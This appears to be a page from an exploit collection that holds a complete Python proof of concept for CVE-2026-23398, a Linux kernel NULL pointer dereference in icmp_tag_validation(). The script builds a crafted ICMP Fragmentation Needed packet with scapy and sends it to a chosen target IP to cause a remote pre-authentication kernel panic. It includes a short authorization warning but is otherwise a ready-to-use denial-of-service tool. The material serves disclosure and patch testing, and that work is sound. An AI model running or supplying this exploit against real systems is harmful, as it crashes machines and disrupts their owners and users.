5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-23398 -- NULL pointer dereference in icmp_tag_validation()
Remote pre-authentication kernel panic via crafted ICMP Fragmentation Needed.

Affected : Linux kernel < stable commits 614aefe / d938dd5 / 1e4e2f5
Fixed    : d938dd5a0ad780c891ea3bc94cae7405f11e618a (stable 6.12, 2026-03-25)
           614aefe56af8 (mainline)

Precondition on target:
    sysctl net.ipv4.ip_no_pmtu_disc = 3

Usage:
    sudo python3 poc.py --target <TARGET_IP>
    sudo python3 poc.py --target 10.0.0.1 --count 3 --source 203.0.113.1

Dependency: scapy  (pip install scapy)
Author: Lukas Johannes Möller (https://github.com/JohannesLks/CVE-2026-23398)
"""

import argparse
import sys

try:
    from scapy.all import IP, ICMP, Raw, send
except ImportError:
    print("[!] scapy not found. Install with: pip install scapy", file=sys.stderr)
    sys.exit(1)


# Protocol 253 is designated "Use for experimentation and testing" (RFC 3692).
# It has no registered handler in inet_protos[], making inet_protos[253] == NULL.
UNREGISTERED_PROTO = 253


def build_frag_needed(target: str, source: str, inner_proto: int):
    """
    Craft ICMP Type 3 / Code 4 (Destination Unreachable -- Fragmentation Needed).

    RFC 792 mandates that an ICMP error embeds the IP header plus first 8 bytes
    of the original datagram that caused the error. icmp_unreach() extracts the
    inner header's Protocol field and passes it to icmp_tag_validation().

    Inner header direction:
        The ICMP error travels from a router to the *sender* of the oversized
        packet. The inner header therefore represents a datagram sent BY the
        target (victim) TO some destination. Setting inner.src = target
        correctly models this and avoids any source-validation drops on the
        target kernel.

    Bug path:
        icmp_rcv() -> icmp_unreach() -> icmp_tag_validation(inner_proto)

        static bool icmp_tag_validation(int proto)
        {
            bool ok;
            rcu_read_lock();
            ok = rcu_dereference(inet_protos[proto])  // NULL when unregistered
                     ->icmp_strict_tag_validation;    // NULL deref, offset +0x10
            rcu_read_unlock();
            return ok;
        }
    """
    inner = (
        IP(src=target, dst=source, proto=inner_proto)
        / Raw(b"\x00" * 8)
    )
    pkt = (
        IP(dst=target)
        / ICMP(type=3, code=4, unused=1400)  # unused carries next-hop MTU
        / inner
    )
    return pkt


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-23398 PoC -- ICMP NULL deref remote kernel panic",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Precondition: target must run\n"
            "  sysctl -w net.ipv4.ip_no_pmtu_disc=3\n\n"
            "Affected kernels: before d938dd5a0ad7 (stable 6.12) / 614aefe56af8 (mainline)"
        ),
    )
    parser.add_argument(
        "--target", required=True,
        help="Target IP address (victim)",
    )
    parser.add_argument(
        "--source", default="1.2.3.4",
        help="IP placed in inner header's destination field (default: 1.2.3.4)",
    )
    parser.add_argument(
        "--proto", type=int, default=UNREGISTERED_PROTO,
        help=f"Inner IP protocol number -- must have no registered handler (default: {UNREGISTERED_PROTO})",
    )
    parser.add_argument(
        "--count", type=int, default=1,
        help="Number of packets to send (default: 1; one is sufficient)",
    )
    parser.add_argument(
        "--interval", type=float, default=0.1,
        help="Inter-packet interval in seconds (default: 0.1)",
    )
    parser.add_argument(
        "--iface", default=None,
        help="Outgoing network interface (optional; scapy selects automatically)",
    )
    args = parser.parse_args()

    if not 0 <= args.proto <= 255:
        print("[!] --proto must be in range 0-255", file=sys.stderr)
        sys.exit(1)

    pkt = build_frag_needed(args.target, args.source, args.proto)

    print("CVE-2026-23398 -- icmp_tag_validation() NULL deref")
    print(f"  target      : {args.target}")
    print(f"  inner.src   : {args.target}  (victim as original sender)")
    print(f"  inner.dst   : {args.source}")
    print(f"  inner.proto : {args.proto} (0x{args.proto:02x})")
    print(f"  packets     : {args.count}")
    print()
    print("  [!] Precondition: net.ipv4.ip_no_pmtu_disc = 3 must be set on target")
    print("  [!] Only test against systems you own or have written authorization for.")
    print()
    pkt.show2()
    print()

    try:
        send(pkt, count=args.count, inter=args.interval, iface=args.iface, verbose=True)
    except PermissionError:
        print("[!] Raw socket requires root privileges (run with sudo).", file=sys.stderr)
        sys.exit(1)

    print(f"[+] {args.count} packet(s) sent.")
    print("    If the precondition is met and the kernel is unpatched,")
    print("    the target will panic in softirq context (general protection fault).")


if __name__ == "__main__":
    main()